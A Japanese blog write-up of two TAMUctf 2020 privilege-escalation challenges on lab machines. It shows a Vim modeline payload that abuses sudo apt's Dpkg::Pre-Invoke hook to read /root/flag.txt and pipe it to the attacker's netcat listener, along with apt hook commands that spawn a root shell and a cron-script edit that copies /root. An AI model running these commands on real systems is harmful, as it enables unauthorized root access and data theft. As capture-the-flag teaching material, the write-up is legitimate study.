4
2

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 3 years have passed since last update.

userからrootへ ~昇格の途を探る~(TAMUctf 2020: Writeup)

Last updated at Posted at 2020-04-29

Linux Privilege Escalation

特定のマシンでArbitary Code Executionがuser権限でできる時、なんとかしてroot権限でのコマンド実行可能にすることをPrivilege Escalationという。具体的な方法は多岐に渡るがこのような記事にあるように特定のマシン内の情報(OS, command, 権限, etc...)をひたすらに集めて脆弱性のある部分を探し、それに適した攻撃法を調べ、それを適用するのが基本的な方針となる。なんでもありな分それぞれの攻撃や脆弱性の理解には難しい部分がありつつも抽象化すると手順は意外とシンプルになる(らざるを得ない)。

TAMUctf 2020で自分が解いた範囲でLinux Privilege Executionの問題が2つあったのでこの記事にまとめる。

実践(Writeup)

Linux Privilege Escalationにはまず user 権限で対象のマシンでのコマンドが実行できる必要がある。
Obituaryでは以前記事にしたVimCVE-2019-12735脆弱性を、MY FIRST BLOGではnostromoCVE-2019-16278脆弱性を利用してRCEが実行できる(PoCはこれを利用した)。以下何を実行しているのか分かりやすいようにそれぞれのPoCを利用した上でマシン上で実行されるコマンドとその結果についてのみ考える。RCEについてのPoC利用部分は省略する。

TAMUctf: Obituary-2

問題環境 TAMUctf 2020: Obituary

Hey, shoot me over latest version of the code. I have a simple nc session up, just pass it over when you're ready.
You're using vim, right? You should use it; it'll change your life. I basically depend on it for everything these days!

NOTE: This challenge is two parts. Flag one belongs to mwazoski. Flag two belongs to root.

攻撃対象マシン(172.30.0.2)
$ id
uid=1000(mwazowski) gid=1000(mwazowski) groups=1000(mwazowski)

$ ls ~/
flag.txt (obtuary_1のフラグ)
manually_installed_packages.txt
note_to_self.txt

$ cat ~/note_to_self.txt
Apparently my packages are out of date. ITSEC is really throwing a fit about me
needing to update since red team popped my box.

I'm sending them my installed packages. I have no idea how these guys got root
on my machine, my password is like 60 characters long. The only thing I have
as nopasswd is apt, which I just use for updates anyway.

$ cat ~/manually_installed_packages.txt
libgpm2
libtinfo5
lsb-base
netcat
python3
screen
socat
sudo
vim
vim-common
vim-runtime
wget
xxd

以上から得られるヒント

The only thing I have as nopasswd is apt, which I just use for updates anyway.

aptの実行がパスワードなしで実行できるようになっている模様。
ヒントがなかった場合でも以下から確認できる。

攻撃対象マシン(172.30.0.2)
$ sudo -l
Matching Defaults entries for mwazowski on 752d3ba120c0:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User mwazowski may run the following commands on 752d3ba120c0:
    (root) NOPASSWD: /usr/bin/apt

apt を経由したLinux Privilege Escalation

apt privilege escalation で検索すると以下のような形で実行の前後にhookしてコマンドを挟むことでaptの実行権限(すなわちroot)で挟んだコマンドの実行が可能になるようだ。(参考: Linux Privilege Escalation – Using apt-get/apt/dpkg to abuse sudo “NOPASSWD” misconfiguration)

$ sudo apt-get update -o APT::Update::Pre-Invoke::= /bin/bash
$ sudo apt-get update -o APT::Update::Post-Invoke::= /bin/bash
$ sudo apt-get update -o DPkg::Pre-Invoke::= /bin/bash

今回もこれを利用しようと考えたが、対象環境はインターネットに繋がっていない為apt udpate がhookコマンドの実行前にError終了してしまう。
上の例のオプションの指定の仕方を見ると三つ目の方法ならupdate に限らずdpkg周辺のコマンド実行時にhookを仕込めると踏み調べてみると予想通りだった。
インターネットアクセスが必要なさそうなpurgeで上記の~/manually_installed_packages.txtに記載されているpackageを指定すると無事hookしたコマンドの実行が確認できた(がpurgeも成功してしまってこの攻撃の根幹のセッションを構成しているnetcat等を指定したらその後の攻撃が出来なくなっていたかもしれない)。

攻撃の構築

以上の調査から最終的に以下のようにして秘匿情報(/root/flag.txt)を取得した。

PoC.txt(CVE-2019-12735攻撃スクリプト)
:!sudo apt purge -y -o Dpkg::Pre-Invoke::="cat /root/flag.txt;false" xxd 2>&1 | nc 172.30.0.14 4444 ||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt=
localマシン(172.30.0.14)
$ nc 172.30.0.2 4321 < PoC.txt

(事前に起動済み)$ nc -vkl 4444 
WARNING: apt does not have a stable CLI interface. Use with caution in scripts.

Reading package lists...
Building dependency tree...
Reading state information...
The following packages were automatically installed and are no longer required:
  libpcre2-8-0 libpsl5 publicsuffix
Use 'sudo apt autoremove' to remove them.
The following packages will be REMOVED:
  vim* vim-common* xxd*
gigem{y0u_w0u1d_7h1nk_p3opl3_W0u1d_Kn0W_b3773r}
0 upgraded, 0 newly installed, 3 to remove and 0 not upgraded.
After this operation, 3400 kB disk space will be freed.
E: Problem executing scripts DPkg::Pre-Invoke 'cat /root/flag.txt;false'
E: Sub-process returned an error code

/root/flag.txtの内容は上記の出力のgigem{y0u_w0u1d_7h1nk_p3opl3_W0u1d_Kn0W_b3773r}部分となる。(CVE-2019-12735のPoCについては以前の記事に詳細あり)
今回の警句は
y0u_w0u1d_7h1nk_p3opl3_W0u1d_Kn0W_b3773r -> you would think people would know better.
~/note_to_self.txtに書いてあった以下の部分を皮肉ったものだった。面白い。

I have no idea how these guys got root
on my machine, my password is like 60 characters long.

TAMUctf: MY FIRST BLOG

問題環境 TAMUctf 2020: MY FIRST BLOG

Here is a link to my new blog! I read about a bunch of exploits in common server side blog tools so I just decided to make my website static. Hopefully that should keep it secure.

対象の構成

172.30.0.2にHugoを利用して生成された静的サイトがnostromo サーバーを利用して設置されている。

$ nmap -A 172.30.0.2              
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-20 21:07 JST
Nmap scan report for 172.30.0.2
Host is up (0.14s latency).
Not shown: 999 filtered ports
PORT   STATE SERVICE VERSION
80/tcp open  http    nostromo 1.9.6
|_http-generator: Hugo 0.54.0
|_http-server-header: nostromo 1.9.6
|_http-title: My first blog!

調査(Enumeration)

今回は先ほどと違いLinux Privilege Escalationに利用出来る候補のファイルがあるわけではないので可能性のあるものを片っ端から列挙していく。
調べるとEnumeration用scriptはいくつかヒットするが、どれも得られる情報量に大差なさそうだったのであまり環境に左右されなそうなシェルスクリプトで用意されているLinEnumを利用した。
対象マシンはインターネットアクセスは無いがインターネットアクセスがあり、/tmpへのファイルの配置が可能だったのでncを利用して送られてきたものを/tmp/LinEnum.shとして書き出すようにサーバーを立て、scriptを送り込み確認した。

LinEnum.shの出力には大量の情報が列挙される。cronの部分で/usr/bin/healthcheckrootで走っていることがわかる。

対象マシン
$ sh /tmp/LinEnum.sh

...

-e ### JOBS/TASKS ##########################################
-e [-] Cron jobs:
-rw-r--r-- 1 root root  758 Mar 20 08:06 /etc/crontab

/etc/cron.d:
total 12
drwxr-xr-x 2 root root 4096 Mar 20 08:06 .
drwxr-xr-x 1 root root 4096 Mar 21 04:01 ..
-rw-r--r-- 1 root root  102 Nov 16  2017 .placeholder

/etc/cron.daily:
total 24
drwxr-xr-x 1 root root 4096 Mar 20 08:06 .
drwxr-xr-x 1 root root 4096 Mar 21 04:01 ..
-rw-r--r-- 1 root root  102 Nov 16  2017 .placeholder
-rwxr-xr-x 1 root root 1478 Apr 20  2018 apt-compat
-rwxr-xr-x 1 root root 1176 Nov  2  2017 dpkg
-rwxr-xr-x 1 root root  249 Jan 25  2018 passwd

/etc/cron.hourly:
total 12
drwxr-xr-x 2 root root 4096 Mar 20 08:06 .
drwxr-xr-x 1 root root 4096 Mar 21 04:01 ..
-rw-r--r-- 1 root root  102 Nov 16  2017 .placeholder

/etc/cron.monthly:
total 12
drwxr-xr-x 2 root root 4096 Mar 20 08:06 .
drwxr-xr-x 1 root root 4096 Mar 21 04:01 ..
-rw-r--r-- 1 root root  102 Nov 16  2017 .placeholder

/etc/cron.weekly:
total 12
drwxr-xr-x 2 root root 4096 Mar 20 08:06 .
drwxr-xr-x 1 root root 4096 Mar 21 04:01 ..
-rw-r--r-- 1 root root  102 Nov 16  2017 .placeholder
-e 

-e [-] Crontab contents:
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * * root /usr/bin/healthcheck
-e 

...

さらに/usr/bin/healthchekはuser-writableであることがわかる。

対象マシン
$ ls -la /usr/bin/healthcheck
-rwxrwxrwx 1 root root 98 Mar 19 18:41 /usr/bin/healthcheck

攻撃の構築

以上から/usr/bin/healthcheckにコマンドを追記すればcron経由でrootで実行されることがわかったので以下のように/rootを読めるように/tmpにコピー。

/usr/bin/healthcheck(対象マシン)
#!/bin/bash
nc -z localhost 80
if [ $? == 1 ]; then
        echo "nhttpd is dead, restarting."
        nhttpd
fi
#以下を追記
cp -r /root /tmp/root
chmod -R 777 /tmp/root

コピーしてきたディレクトリに欲しい秘匿情報(flag.txt)が取得できた。

(対象マシン)
$ ls -la /tmp/root
drwxrwxrwx 3 root root 4096 Mar 21 06:11 .
drwxrwxrwt 1 root root 4096 Mar 21 06:17 ..
-rwxrwxrwx 1 root root 3106 Mar 21 06:10 .bashrc
-rwxrwxrwx 1 root root  148 Mar 21 06:10 .profile
-rwxrwxrwx 1 root root   29 Mar 21 06:10 flag.txt

$ cat /tmp/root/flag.txt
gigem{l1m17_y0ur_p3rm15510n5}

今回の警句は
l1m17_y0ur_p3rm15510n5 -> limit your permission
/usr/bin/healthcheckの権限を適切に(せめてnon-writableに)すれば良かったということだろう。

感想

Linux Privilege EscalationはこのTAMUctfで初めてある程度体系的に調べ実際に以上2つの構成で攻撃を試みたが、misconfigurationなものが一つでも存在すれば思ったより簡単に達成できてしまうことがわかった。調べた範囲では典型的なLinux Privilege Executionの例にはKernel exploitやSUID commandを利用したもの等もあったので今度挑戦してみようと思う。

参考

4
2
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
4
2

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?